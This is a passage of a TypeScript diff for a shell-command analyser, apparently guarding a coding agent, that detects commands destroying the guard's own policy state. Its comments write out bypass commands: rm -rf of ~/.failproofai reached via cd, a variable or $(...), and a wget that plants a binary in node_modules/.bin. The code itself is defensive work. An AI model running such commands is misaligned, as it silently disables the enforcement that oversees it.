name.split(/[;}]/)[0].trim(); + if (cut !== "" && cut !== name) targets.push(cut); + } + } + return targets; +} +/** More files than a sed script writes in practice; past it the line is refused unread. */ +const MAX_SED_TARGETS = 64; +/** Larger than a file of instructions (a sed script, a patch, a curl config) is read; past it, it is read as writing what is protected. */ +const MAX_INSTRUCTION_FILE_BYTES = 1024 * 1024; +/** curl's short options that take a value (curl 8 `--help all`); the rest of a cluster after one is that value. */ +const CURL_SHORT_VALUE_OPTIONS = "AbcCdDeEFHKmoPQrtTuUwxXyYz"; +/** + * bash's integer argument for `%d` and friends. Where the rest is not a number + * bash reports an error and still prints the valid prefix it read (`16junk` is + * 16, `abc` is 0; found by hermes on #1058), so that is the value. Null only + * past what a number holds exactly. + */ +function bashPrintfInteger(arg: string): number | null { + const text = arg.trim(); + if (/^['"]/.test(text)) return text.length > 1 ? (text.codePointAt(1) ?? 0) : 0; + const m = /^([+-]?)(0[xX][0-9a-fA-F]+|0[0-7]*|[1-9][0-9]*)/.exec(text); + if (m === null) return 0; + const digits = m[2]; + const magnitude = /^0[xX]/.test(digits) ? parseInt(digits.slice(2), 16) : digits.length > 1 && digits.startsWith("0") ? parseInt(digits.slice(1), 8) : parseInt(digits, 10); + if (!Number.isSafeInteger(magnitude)) return null; + return m[1] === "-" ? -magnitude : magnitude; +} + +/** bash's floating-point argument for `%f`, `%e` and `%g`: its valid prefix, or 0. */ +function bashPrintfFloat(arg: string): number { + const text = arg.trim(); + if (/^['"]/.test(text)) return text.length > 1 ? (text.codePointAt(1) ?? 0) : 0; + const hex = /^[+-]?0[xX][0-9a-fA-F]+/.exec(text); + if (hex) return parseInt(hex[0], 16); + const m = /^[+-]?(?:\d+\.?\d*|\.\d+)(?:[eE][+-]?\d+)?/.exec(text); + return m ? Number(m[0]) : 0; +} + +/** C's `%e` exponent: at least two digits (`1.6e+01`). */ +const cExponent = (text: string): string => text.replace(/e([+-])(\d)$/, "e$10$2"); + +/** `%f`, `%e` or `%g` of `n` as C prints it, or null where this does not compute it. */ +function cFloat(n: number, c: string, precision: number | undefined, alternate: boolean): string | null { + if (!Number.isFinite(n) || Math.abs(n) >= 1e21) return null; + const lower = c.toLowerCase(); + let out: string; + if (lower === "f") out = n.toFixed(precision ?? 6); + else if (lower === "e") out = cExponent(n.toExponential(precision ?? 6)); + else if (lower === "g") { + const p = precision === 0 ? 1 : (precision ?? 6); + const x = n === 0 ? 0 : Math.floor(Math.log10(Math.abs(n))); + out = p > x && x >= -4 ? n.toFixed(Math.max(0, p - 1 - x)) : cExponent(n.toExponential(p - 1)); + if (!alternate) out = out.replace(/\.(\d*?)0+(e|$)/, (_m, d: string, tail: string) => (d === "" ? "" : `.${d}`) + tail).replace(/\.(e|$)/, "$1"); + } else return null; + return c === lower ? out : out.toUpperCase(); +} +/** + * `printf FORMAT ARGS…` as bash computes it, for `%s`, `%b` (escapes left in, + * so the caller can refuse them), `%q` of a plain word, `%c` and the integer + * conversions `%d`, `%i`, `%u`, `%o`, `%x`, `%X`, with the flags `-`, `0`, + * `+`, space and `#`, a width and a precision, the format reused until the + * arguments run out. Null for anything else: a `*` width, a conversion it does + * not compute, or an argument bash would reject. + */ +function bashPrintf(format: string, args: readonly string[]): string | null { + const SPEC = /%(%|([-0+ #]*)(\d*)(?:\.(\d*))?([^%]?))/g; + const conversions = (format.match(/%[^%]/g) ?? []).length; + let k = 0; + let out = ""; + let passes = 0; + const pad = (text: string, width: number, left: boolean, zero: boolean): string => { + if (text.length >= width) return text; + if (left) return text + " ".repeat(width - text.length); + if (!zero) return " ".repeat(width - text.length) + text; + const sign = /^[+ -]/.test(text) ? text[0] : ""; + const prefix = /^[+ -]?0[xX]/.test(text) ? text.slice(sign.length, sign.length + 2) : ""; + const digits = text.slice(sign.length + prefix.length); + return sign + prefix + "0".repeat(width - text.length) + digits; + }; + do { + let failed = false; + out += format.replace(SPEC, (whole, spec: string, flags = "", widthText = "", precisionText: string | undefined, c = "") => { + if (spec === "%") return "%"; + if (/[*]/.test(whole) || widthText.length > 4 || (precisionText ?? "").length > 4) { + failed = true; + return ""; + } + const arg = args[k++] ?? ""; + const width = widthText === "" ? 0 : Number(widthText); + const precision = precisionText === undefined ? undefined : precisionText === "" ? 0 : Number(precisionText); + const left = flags.includes("-"); + let text: string; + if (c === "s" || c === "b") text = precision === undefined ? arg : arg.slice(0, precision); + else if (c === "c") text = arg.charAt(0); + else if (c === "q") { + if (arg === "" || !/^[A-Za-z0-9_./:@%+=,-]*$/.test(arg)) { + failed = true; + return ""; + } + text = arg; + } else if (c !== "" && "diuoxX".includes(c)) { + const n = arg === "" ? 0 : bashPrintfInteger(arg); + // A negative number in an unsigned form is its 64-bit two's complement, past what a number holds exactly. + if (n === null || (n < 0 && c !== "d" && c !== "i")) { + failed = true; + return ""; + } + let digits = c === "o" ? n.toString(8) : c === "x" ? n.toString(16) : c === "X" ? n.toString(16).toUpperCase() : String(Math.abs(n)); + if (precision !== undefined) digits = precision === 0 && n === 0 ? "" : digits.padStart(precision, "0"); + if (flags.includes("#") && n !== 0) digits = c === "o" ? (digits.startsWith("0") ? digits : `0${digits}`) : c === "x" ? `0x${digits}` : c === "X" ? `0X${digits}` : digits; + const sign = (c === "d" || c === "i") && n < 0 ? "-" : (c === "d" || c === "i") && flags.includes("+") ? "+" : (c === "d" || c === "i") && flags.includes(" ") ? " " : ""; + return pad(sign + digits, width, left, flags.includes("0") && precision === undefined); + } else if (c !== "" && "fFeEgG".includes(c)) { + // Floating point, as C prints it (`%.0f` of 16 is 16; found by hermes on #1058). + const n = bashPrintfFloat(arg); + const printed = cFloat(n, c, precision, flags.includes("#")); + if (printed === null) { + failed = true; + return ""; + } + const signed = n >= 0 && flags.includes("+") ? `+${printed}` : n >= 0 && flags.includes(" ") ? ` ${printed}` : printed; + return pad(signed, width, left, flags.includes("0")); + } else { + failed = true; + return ""; + } + return pad(text, width, left, false); + }); + if (failed) return null; + } while (conversions > 0 && k < args.length && ++passes < 64); + return k < args.length ? null : out; +} +/** tar's short options other than `-C` that take a value (GNU tar and bsdtar). */ +const TAR_SHORT_VALUE_OPTIONS = "fbFgHIKLNTVX"; +/** How many curl configs deep one may name the next before the command is refused. */ +const MAX_CURL_CONFIG_DEPTH = 8; +/** + * The options a curl config file gives, as the words they would be on the + * line: `output = hook`, `-o hook`, `--output-dir bins` and `remote-name`, + * one per line, a value quoted or not, `#` starting a comment. + */ +function curlConfigArgs(text: string): string[] { + const args: string[] = []; + for (const line of text.split(/\r?\n/)) { + const trimmed = line.trim(); + if (trimmed === "" || trimmed.startsWith("#")) continue; + const m = /^(-{0,2}[A-Za-z0-9][\w-]*)(?:\s*[=:]\s*|\s+|$)(.*)$/.exec(trimmed); + if (m === null) continue; + const option = m[1].startsWith("-") ? m[1] : m[1].length === 1 ? `-${m[1]}` : `--${m[1]}`; + args.push(option); + const value = m[2].trim(); + if (value !== "") args.push(value.replace(/^"((?:[^"\\]|\\.)*)"$/, "$1").replace(/\\(.)/g, "$1")); + } + return args; +} +/** + * The script files a sed command line reads: `-f FILE` (alone, glued, or + * ending a cluster such as `-nf`) and `--file=FILE` / `--file FILE` in any + * abbreviation GNU sed takes (`--fi`). + */ +function sedScriptFiles(args: string[]): string[] { + const files: string[] = []; + for (let k = 0; k < args.length; k++) { + const arg = args[k]; + if (arg === "--") break; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name !== "" && "file".startsWith(name) && !"follow-symlinks".startsWith(name)) { + files.push(eq === -1 ? (args[++k] ?? "") : arg.slice(eq + 1)); + } else if (eq === -1 && name !== "" && ["expression", "line-length"].some((option) => option.startsWith(name))) k++; + continue; + } + if (!/^-[A-Za-z]/.test(arg)) continue; + for (let c = 1; c < arg.length; c++) { + if (arg[c] === "f") { + files.push(c + 1 < arg.length ? arg.slice(c + 1) : (args[++k] ?? "")); + break; + } + // `-e SCRIPT` and `-l N` take a value; `-i` takes the rest as a suffix. + if (arg[c] === "e" || arg[c] === "l") { + if (c + 1 === arg.length) k++; + break; + } + if (arg[c] === "i") break; + } + } + return files; +} +/** What the shell splits a line at, when it is not quoted or escaped. */ +const SEPARATOR_CHARS = /[;&|\n\r]/; +/** + * `text` split at `separator`, the separators kept between the pieces as + * `String.split` keeps a capture group, except where a separator is quoted or + * escaped: the shell reads that as text, so `sed -e 's/w/x/;1whook'` keeps its + * whole script (found by hermes on FailproofAI/failproofai#1058). The pieces + * are the text as written. + */ +function splitUnquoted(text: string, separator: RegExp): string[] { + const chars: string[] = []; + let quote: "'" | '"' | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + chars.push(ch, SEPARATOR_CHARS.test(text[i + 1]) ? "\u0001" : text[i + 1]); + i++; + continue; + } + if (quote === null) { + if (ch === "'" || ch === '"') quote = ch; + chars.push(ch); + continue; + } + if (ch === quote) quote = null; + chars.push(quote !== null && SEPARATOR_CHARS.test(ch) ? "\u0001" : ch); + } + const out: string[] = []; + let offset = 0; + for (const piece of chars.join("").split(new RegExp(`(${separator.source})`))) { + out.push(text.slice(offset, offset + piece.length)); + offset += piece.length; + } + return out; +} +/** + * True when a flag on this command names the state as an output file. + * + * `sort -o`, `tree -o` and `curl -o` all take their destination as an option, + * so nothing about the head or the operand order says they are writing — and + * all three heads were on a list that said they only read. Short options bundle + * (`curl -sfo `), so the trailing letter is what decides. + */ +function writesViaOutputFlagForState(head: string, args: string[], namesState: (text: string) => boolean): boolean { + const flags = OUTPUT_FLAG_COMMANDS[head]; + if (!flags) return false; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + const long = flags.find((f) => f.startsWith("--") && arg.startsWith(`${f}=`)); + if (long && (namesState(arg) || namesState(arg.slice(long.length + 1)))) return true; + // A long option as getopt_long and curl before 8 also take it, cut short + // to a prefix of its name (`--stde`, `--outp=`), unless that prefix is + // itself another option (`--cookie`, which reads). + if (arg.startsWith("--") && arg.length > 2) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (!flags.includes(`--${name}`) && !EXACT_NON_OUTPUT_OPTIONS.has(`${head} --${name}`) && flags.some((f) => f.startsWith(`--${name}`))) { + if (namesState(eq === -1 ? (args[i + 1] ?? "") : arg.slice(eq + 1))) return true; + } + } + const bundled = /^-[A-Za-z]*[oDc]$/.test(arg) && flags.includes(`-${arg[arg.length - 1]}`); + if ((flags.includes(arg) || bundled) && namesState(args[i + 1] ?? "")) return true; + // Or the value glued on, after the option alone or at the end of a + // cluster: `curl -o`, `curl -so`. + if (/^-[A-Za-z]/.test(arg)) { + for (let c = 1; c < arg.length - 1 && /[A-Za-z]/.test(arg[c]); c++) { + if (flags.includes(`-${arg[c]}`) && namesState(arg.slice(c + 1))) return true; + } + } + } + return false; +} +/** wget's short options that take a value (`wget --help`, GNU Wget 1.21). */ +const WGET_VALUE_OPTIONS = "eoaiBtOTwQPlARDIXU"; +/** curl's short options that take a value (`curl --help all`, curl 8). */ +const CURL_VALUE_OPTIONS = "AbcCdDEeFHKmoPQrTtuUwxXyYz"; +/** Short options that take a value, for the commands whose list is known. */ +const SHORT_VALUE_OPTIONS: Record = { curl: CURL_VALUE_OPTIONS, wget: WGET_VALUE_OPTIONS }; +/** Short options that name a file the command writes, for the commands whose list is known. */ +const SHORT_OUTPUT_OPTIONS: Record = { curl: "oDc", wget: "Oao" }; +/** + * The long options that decide where a download lands. curl before 8 and + * wget (getopt_long) also take an unambiguous abbreviation of a long option + * (`--output-di` for `--output-dir`; found by hermes on + * FailproofAI/failproofai#1058), so a name that only starts one of these is + * read as each it may be. One two options share is refused by both tools, so + * reading it as either never misses a landing. + */ +const CURL_LANDING_OPTIONS = ["output", "output-dir", "remote-name", "remote-name-all", "remote-header-name", "next"]; +const WGET_LANDING_OPTIONS = [ + "directory-prefix", + "output-document", + "spider", + "content-disposition", + "trust-server-names", + "input-file", + "recursive", + "mirror", + "page-requisites", + "force-directories", + "no-directories", + "default-page", + "execute", +]; +const LANDING_VALUE_OPTIONS = new Set(["output", "output-dir", "directory-prefix", "output-document", "input-file", "default-page", "execute"]); +/** The landing options `--` may be, for curl or wget. */ +function landingOptions(head: string, written: string): string[] { + const options = head === "wget" ? WGET_LANDING_OPTIONS : CURL_LANDING_OPTIONS; + if (options.includes(written)) return [written]; + return written === "" ? [] : options.filter((option) => option.startsWith(written)); +} +/** + * wget's `-e` / `--execute` runs a `.wgetrc` command, whose name wget reads + * without case, `_` or `-` (`-e dir_prefix=node_modules/.bin`): the ones that + * decide where a download lands, as the long option each stands for. + */ +const WGETRC_LANDING_COMMANDS: Record = { + dirprefix: "directory-prefix", + outputdocument: "output-document", + spider: "spider", + contentdisposition: "content-disposition", + trustservernames: "trust-server-names", + recursive: "recursive", + mirror: "mirror", + pagerequisites: "page-requisites", + dirstruct: "force-directories", + defaultpage: "default-page", +}; +/** More letters than a short-option cluster has when written to be read. */ +const MAX_OPTION_CLUSTER = 32; +/** More paths than a glob in a directory component is expanded to on disk; past it, read as reaching the state. */ +const GLOB_DISK_LIMIT = 4096; +/** Directories one `**` may walk through before the walk is given up and read as reaching the state. */ +const GLOB_RECURSIVE_DIR_LIMIT = 16_384; +/** Whether a path component is a pattern to the shell, zsh's flags included. */ +function isGlobPart(part: string): boolean { + return GLOB_METACHAR_RE.test(part) || ZSH_GLOB_FLAG_RE.test(part); +} +/** A component's pattern as a regex, zsh's flags taken off; null when it cannot be read. */ +function globPartMatcher(part: string, options: GlobOptions): GlobTest | null { + return globTest(part.replace(new RegExp(ZSH_GLOB_FLAG_RE.source, "g"), ""), { ignoreCase: options.nocaseglob }); +} +/** How many of the words a brace expands to are each read on disk. */ +const MAX_BRACE_WORDS_ON_DISK = 64; +/** How many values of reassigned variables one line is read with; past it the line is refused. */ +const VARIANT_BUDGET = 4096; +/** + * The values an option word may carry glued on, each a path the command may + * write: `--output=`, and the rest of a short-option cluster, + * `curl -so`. Where a command's value-taking letters are known the + * cluster is read as getopt reads it, flags up to the first letter that takes + * a value; elsewhere any letter may take one (`gcc -o`, `tar -cf`), + * so the rest of the word after each letter is a candidate. `null` for a + * cluster longer than `MAX_OPTION_CLUSTER`, which is read as reaching the + * state rather than tried at every split. + */ +function gluedOptionValues(head: string, word: string): string[] | null { + if (word.startsWith("--")) { + const eq = word.indexOf("="); + return eq > 2 && eq < word.length - 1 ? [word.slice(eq + 1)] : []; + } + if (!/^-[A-Za-z]/.test(word)) return []; + const known = SHORT_VALUE_OPTIONS[head]; + const values: string[] = []; + for (let c = 1; c < word.length - 1 && /[A-Za-z]/.test(word[c]); c++) { + if (known !== undefined) { + if (known.includes(word[c])) return [word.slice(c + 1)]; + continue; + } + if (c > MAX_OPTION_CLUSTER) return null; + values.push(word.slice(c + 1)); + } + return values; +} +/** + * The files a download names after its URL rather than on the line, as + * `{dir, name}`: `wget `, and `curl -O` / `--remote-name`, save the URL's + * last segment into `-P` / `--directory-prefix` (wget), `--output-dir` (curl) + * or the current directory. So `cd node_modules/.bin && wget https://…/failproofai` + * writes the entry with `.bin/failproofai` nowhere on the line + * (FailproofAI/agenteye#1795). `name` is `null` when the server picks it + * (`--content-disposition`, `-J`), or the URLs come from a file (`-i`): then + * it could be anything, the entry's included. A name the line gives (`-O` + * for wget, `-o` for curl) is judged with the other operands, and a recursive + * wget puts what it fetches under a directory named after the host. + */ +function downloadLandings(words: string[]): Array<{ dir: string; name: string | null }> { + const head = words.length > 0 ? commandBasename(words[0]) : ""; + if (head !== "wget" && head !== "curl") return []; + // curl's `--next` (`-:`) starts a transfer with options of its own: each is + // read alone, so a later `--output-dir` cannot stand in for an earlier one + // (found by hermes on FailproofAI/failproofai#1058). + if (head === "curl") { + const transfers: string[][] = [[]]; + for (const word of words.slice(1)) { + if (word === "-:" || (word.startsWith("--") && !word.includes("=") && landingOptions(head, word.slice(2)).includes("next"))) transfers.push([]); + else transfers[transfers.length - 1].push(word); + } + if (transfers.length > 1) return transfers.flatMap((transfer) => transferLandings(head, transfer)); + } + return transferLandings(head, words.slice(1)); +} +/** `downloadLandings` for one transfer's arguments. */ +function transferLandings(head: string, args: string[]): Array<{ dir: string; name: string | null }> { + const valueOptions = head === "wget" ? WGET_VALUE_OPTIONS : CURL_VALUE_OPTIONS; + let dir = "."; + let urlNamed = head === "wget"; + let serverNamed = false; + let named = false; + let recursive = false; + let flat = false; + let dirGiven = false; + // The name wget gives a URL that ends in `/`. + let defaultPage = "index.html"; + // What curl's `-o` / `--output` name, which `--output-dir` also prefixes. + const outputs: string[] = []; + const urls: string[] = []; + const apply = (option: string, value: string | undefined) => { + if (option === "directory-prefix" || option === "output-dir") { + dir = value ?? dir; + dirGiven = true; + } else if (option === "output") outputs.push(value ?? ""); + else if (option === "output-document" || option === "spider") named = true; + else if (option === "remote-name" || option === "remote-name-all") urlNamed = true; + else if (option === "content-disposition" || option === "remote-header-name" || option === "input-file" || option === "trust-server-names") { + serverNamed = true; + } else if (option === "recursive" || option === "mirror" || option === "page-requisites" || option === "force-directories") recursive = true; + else if (option === "no-directories") flat = true; + else if (option === "default-page") defaultPage = value ?? defaultPage; + else if (option === "execute" && value !== undefined) { + const eq = value.indexOf("="); + const command = WGETRC_LANDING_COMMANDS[value.slice(0, eq === -1 ? undefined : eq).replace(/[\s_-]/g, "").toLowerCase()]; + if (command !== undefined) apply(command, eq === -1 ? undefined : value.slice(eq + 1).trim()); + } + }; + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") { + urls.push(...args.slice(i + 1)); + break; + } + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const options = landingOptions(head, arg.slice(2, eq === -1 ? undefined : eq)); + const value = eq !== -1 ? arg.slice(eq + 1) : options.some((option) => LANDING_VALUE_OPTIONS.has(option)) ? args[++i] : undefined; + for (const option of options) apply(option, value); + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + // wget's two-letter `-n?` options (`-nd`, `-nH`, `-nc`, `-np`, `-nv`). + if (head === "wget" && /^-n[A-Za-z]$/.test(arg)) { + if (arg === "-nd") flat = true; + continue; + } + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (valueOptions.includes(flag)) { + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (head === "wget" && flag === "P") apply("directory-prefix", value); + if (head === "curl" && flag === "o") apply("output", value); + if (head === "wget" && flag === "O") named = true; + if (head === "wget" && flag === "i") serverNamed = true; + if (head === "wget" && flag === "e") apply("execute", value); + break; + } + if (head === "curl" && flag === "O") urlNamed = true; + if (head === "curl" && flag === "J") serverNamed = true; + if (head === "wget" && "rmpx".includes(flag)) recursive = true; + } + continue; + } + urls.push(arg); + } + // curl puts a file `-o` names in `--output-dir` as well, an absolute name + // too (joined, not replaced): `--output-dir node_modules/.bin -o failproofai` + // and `-o /failproofai` both write the entry (found by hermes on + // FailproofAI/failproofai#1058). + const landings: Array<{ dir: string; name: string | null }> = + head === "curl" && dirGiven ? outputs.filter((output) => output !== "" && output !== "-").map((name) => ({ dir, name })) : []; + if (!urlNamed || named || (recursive && !flat)) return landings; + if (serverNamed || recursive) return [...landings, { dir, name: null }]; + for (const url of urls) { + // The last segment of the path, without the scheme, host, query or + // fragment, as written and percent-decoded. + const path = url.replace(/^[A-Za-z][\w+.-]*:\/\/[^/?#]*/, "").replace(/[?#][\s\S]*$/, ""); + const last = path.slice(path.lastIndexOf("/") + 1); + let decoded = last; + try { + decoded = decodeURIComponent(last); + } catch { + // Not valid percent-encoding: the name as written is what lands. + } + // wget saves a URL that ends in `/` as `--default-page`, `index.html` + // unless the line names another (`--default-page=failproofai`). + if (last === "" && head === "wget") landings.push({ dir, name: defaultPage }); + for (const name of new Set([last, decoded])) if (name !== "") landings.push({ dir, name }); + } + return landings; +} +/** + * A `$name` or `${…}` reference starting at `word[i]`, a `$`: where it ends, + * the variable it reads (`""` for one this does not read, such as `$1`, + * `${a[0]}` or `${!prefix*}`), and the operator and word after the name. + */ +type ParameterReference = { end: number; name: string; op: string; arg: string; indirect: boolean; count: boolean }; +/** The word whose brace table `closingBraceOf` holds, and that table. */ +let braceTableWord: string | null = null; +let braceTable: Int32Array = new Int32Array(0); + +/** + * Where the `}` closing the `{` at `open` is in `word`, past backslash + * escapes, or -1 when it is never closed. Every brace of a word is matched in + * one pass and kept for the next call on the same word: scanning to the end + * for each `${` was quadratic, and 50,000 unclosed `${` took 6 s a pass + * (found by #1053's tests on #1058). + */ +function closingBraceOf(word: string, open: number): number { + if (braceTableWord !== word) { + const table = new Int32Array(word.length).fill(-1); + const stack: number[] = []; + for (let k = 0; k < word.length; k++) { + if (word[k] === "\\") k++; + else if (word[k] === "{") stack.push(k); + else if (word[k] === "}" && stack.length > 0) table[stack.pop()!] = k; + } + braceTableWord = word; + braceTable = table; + } + return braceTable[open] ?? -1; +} + +function readParameterReference(word: string, i: number): ParameterReference | null { + if (word[i + 1] !== "{") { + const name = /^[A-Za-z_][A-Za-z0-9_]*/.exec(word.slice(i + 1, i + 257))?.[0]; + return name === undefined ? null : { end: i + 1 + name.length, name, op: "", arg: "", indirect: false, count: false }; + } + const j = closingBraceOf(word, i + 1); + if (j === -1) return null; + const body = word.slice(i + 2, j); + const indirect = body.startsWith("!"); + const count = !indirect && body.startsWith("#") && body.length > 1; + const from = indirect || count ? 1 : 0; + const name = /^[A-Za-z_][A-Za-z0-9_]*/.exec(body.slice(from))?.[0]; + const unread = { end: j + 1, name: "", op: "", arg: "", indirect, count }; + if (name === undefined) return unread; + const rest = body.slice(from + name.length); + const op = /^(?::[-=+?]|[-=+?]|##?|%%?|\/[/#%]?|\^\^?|,,?|@|:)/.exec(rest)?.[0] ?? ""; + if ((op === "" && rest !== "") || ((indirect || count) && op !== "")) return unread; + return { end: j + 1, name, op, arg: rest.slice(op.length), indirect, count }; +} +/** + * A glob as an expression for a whole string, or `null` for one that makes + * none. `parameter`: a `${v%pattern}`-style pattern, where `*` and `?` match + * `/` too (`${A%%/*}` of `long/out/x` is `long`; found by hermes on + * FailproofAI/failproofai#1058), not a path component. + */ +function wholeGlob(pattern: string, parameter = false): GlobTest | null { + return globTest(pattern, { anyOne: parameter ? "." : "[^/]" }); +} +/** Longer than a value an operator's pattern is matched against, position by position. */ +const MAX_OPERATED_VALUE = 512; +/** + * `${name}` for a variable holding `value`, as bash computes it, for + * the operators that change the value: trimming (`#`, `%`), replacing (`/`), + * case (`^`, `,`, `@U`), quoting (`@Q`) and substrings (`:2:3`). `null` for one + * this does not compute, which is then read as a value the walk cannot know. + */ +function applyParameterOperator(value: string, op: string, arg: string): string | null { + if (op === "^^" || (op === "@" && arg === "U")) return value.toUpperCase(); + if (op === ",," || (op === "@" && arg === "L")) return value.toLowerCase(); + if (op === "^" || (op === "@" && arg === "u")) return value.charAt(0).toUpperCase() + value.slice(1); + if (op === ",") return value.charAt(0).toLowerCase() + value.slice(1); + if (op === "@") return arg === "Q" ? `'${value.replace(/'/g, "'\\''")}'` : null; + if (op === ":") { + const m = /^\s*(-?\d{1,6})\s*(?::\s*(-?\d{1,6})\s*)?$/.exec(arg); + if (m === null) return null; + const start = Number(m[1]) < 0 ? Math.max(0, value.length + Number(m[1])) : Math.min(value.length, Number(m[1])); + if (m[2] === undefined) return value.slice(start); + const length = Number(m[2]); + return length < 0 ? value.slice(start, Math.max(start, value.length + length)) : value.slice(start, start + length); + } + if (value.length > MAX_OPERATED_VALUE) return null; + if (op === "#" || op === "##" || op === "%" || op === "%%") { + const re = wholeGlob(arg, true); + if (re === null) return null; + const cuts = Array.from({ length: value.length + 1 }, (_, k) => k); + // Shortest first; `##` and `%%` take the longest (found by hermes on FailproofAI/failproofai#1058). + if (op === "##" || op === "%%") cuts.reverse(); + for (const k of cuts) { + if (op.startsWith("#") ? re.test(value.slice(0, k)) : re.test(value.slice(value.length - k))) { + return op.startsWith("#") ? value.slice(k) : value.slice(0, value.length - k); + } + } + return value; + } + // `/pattern/string`, `//` for every match, `/#` at the start, `/%` at the end. + let slash = -1; + for (let k = 0; k < arg.length; k++) { + if (arg[k] === "\\") k++; + else if (arg[k] === "/") { + slash = k; + break; + } + } + const pattern = slash === -1 ? arg : arg.slice(0, slash); + const replacement = slash === -1 ? "" : arg.slice(slash + 1); + const re = wholeGlob(pattern, true); + if (re === null || pattern === "") return re === null ? null : value; + if (op === "/#") { + for (let k = value.length; k > 0; k--) if (re.test(value.slice(0, k))) return replacement + value.slice(k); + return value; + } + if (op === "/%") { + for (let k = 0; k < value.length; k++) if (re.test(value.slice(k))) return value.slice(0, k) + replacement; + return value; + } + let out = ""; + let pos = 0; + let replaced = false; + while (pos < value.length) { + let end = -1; + if (!(replaced && op === "/")) { + for (let k = value.length; k > pos; k--) { + if (re.test(value.slice(pos, k))) { + end = k; + break; + } + } + } + if (end === -1) { + out += value[pos++]; + continue; + } + out += replacement; + replaced = true; + pos = end; + } + return out; +} +/** + * What `word` may expand to, each `$name` and `${…}` in it read with every + * value `valuesOf` gives the variable: none for one the line never sets, which + * stays written as it is, as one whose value the walk cannot know. A + * `${name:-word}`-style default or `${name:+word}` alternate is also read for + * a variable it does not know, `${!name}` through the variable it names, and + * a value that refers to another variable through that one's values too. + * `null` past `limit` results. + */ +function expandParameters( + word: string, + valuesOf: (name: string) => readonly string[], + limit: number, + depth = 0, + memo = new Map(), +): string[] | null { + let results = [""]; + let literal = 0; + // A result longer than PATH_MAX names no file anything can open, so it is + // dropped as it grows: a value that refers to itself (`A=$A$A…`) doubles + // with every reading. + // + // The PAIRS are bounded, not only the results: a pair past PATH_MAX is + // dropped without growing `next`, so a self-doubling value made `limit` × + // `limit` concatenations per reference (0.9 s for 40 `A=${A}${A}`) while + // `next` stayed small. Past the bound the word is too complex to follow, as + // `wordForms` already rules for the same product. + const append = (alternatives: readonly string[]): boolean => { + if (results.length * alternatives.length > limit) return false; + const next = new Set(); + for (const result of results) { + for (const alternative of alternatives) { + if (result.length + alternative.length > PATH_MAX_BYTES) continue; + next.add(result + alternative); + if (next.size > limit) return false; + } + } + results = [...next]; + return true; + }; + for (let i = 0; i < word.length; i++) { + if (word[i] !== "$") continue; + const reference = readParameterReference(word, i); + if (reference === null) continue; + const written = word.slice(i, reference.end); + const alternatives = parameterAlternatives(reference, written, valuesOf, limit, depth, memo); + if (alternatives === null || !append([word.slice(literal, i)]) || !append(alternatives)) return null; + literal = reference.end; + i = reference.end - 1; + } + return append([word.slice(literal)]) ? results : null; +} +/** The values one reference in `expandParameters` may take. */ +function parameterAlternatives( + reference: ParameterReference, + written: string, + valuesOf: (name: string) => readonly string[], + limit: number, + depth: number, + memo: Map, +): string[] | null { + if (reference.name === "") return [written]; + const deeper = (text: string): string[] | null => { + if (depth >= 3 || !text.includes("$")) return [text]; + const key = `${depth}\u0000${text}`; + if (!memo.has(key)) memo.set(key, expandParameters(text, valuesOf, limit, depth + 1, memo)); + return memo.get(key)!; + }; + const argument = (): string[] | null => deeper(reference.arg); + let values: readonly string[] = valuesOf(reference.name); + if (reference.indirect) { + if (values.length === 0 || values.some((value) => !/^[A-Za-z_][A-Za-z0-9_]*$/.test(value))) return [written]; + values = values.flatMap((target) => valuesOf(target)); + } + const { op } = reference; + if (values.length === 0) { + const arg = op === "-" || op === ":-" || op === "=" || op === ":=" || op === "+" || op === ":+" ? argument() : []; + if (arg === null) return null; + if (op === "+" || op === ":+") return ["", ...arg]; + return [written, ...arg]; + } + const out: string[] = []; + for (const raw of values) { + const expanded = deeper(raw); + if (expanded === null) return null; + for (const value of expanded) { + if (reference.count) out.push(String(value.length)); + else if (op === "" || op === "-" || op === "=" || op === "?" || op === ":?") out.push(value); + else if (op === ":-" || op === ":=") { + if (value !== "") out.push(value); + else out.push(...(argument() ?? [written])); + } else if (op === "+") out.push(...(argument() ?? [written])); + else if (op === ":+") { + if (value === "") out.push(""); + else out.push(...(argument() ?? [written])); + } else { + const arg = argument(); + const result = arg === null ? null : applyParameterOperator(value, op, arg[0]); + out.push(result ?? written); + } + if (out.length > limit) return null; + } + } + return [...new Set(out)]; +} +/** A `${…}` that does more than name a variable: an operator, `${!name}` or `${#name}`. */ +const OPERATED_REFERENCE_RE = /\$\{[!#]?[A-Za-z_][A-Za-z0-9_]*[^A-Za-z0-9_}]|\$\{[!#]/; +/** + * True when `command` would delete, move or overwrite failproofai's own state. + * + * Deleting the state IS disabling enforcement, and it never names the binary: + * `rm ~/.failproofai/policies/packs/installed.json` switches off every pack + * policy on the machine, and fail-closed does NOT fire, because a missing store + * reads as a fresh machine rather than a broken one — so nothing anywhere + * reports it. + * + * Two things carry the path into a command that never spells it, and both were + * live bypasses of the per-segment version: + * + * - `cd ~/.failproofai && rm -rf .` — the path is an argument of `cd`, and the + * destroying command names only `.` + * - `D=~/.failproofai; rm -rf $D` — the path is a value, and the destroying + * command names only `$D` + * + * So the walk is stateful: it remembers which variables hold the path and + * whether the shell has been moved INTO the directory, and carries both + * forward. What it does NOT do is treat every later command as suspect — + * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and + * does, because nothing in the second command reaches the state. + */ +function destroysFailproofaiState(command: string, depth = 0, startDir?: string, startUnknown = false): boolean { + const globOptions = globOptionsOf(command); + // A substitution runs its body as a command of its own, so it is judged as + // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head + // and walks straight through. Bounded, because a body can contain another. + // Breadth-first with a budget rather than depth-limited recursion: a nest + // deeper than the limit is trivial to write (`echo $(echo $(… rm …))`), and + // every level of it presents `echo` as the head. The budget is what bounds + // the work instead, because siblings multiply where depth does not. + if (depth === 0) { + const bodies = substitutionBodies(command); + for (let i = 0; i < bodies.length && i < 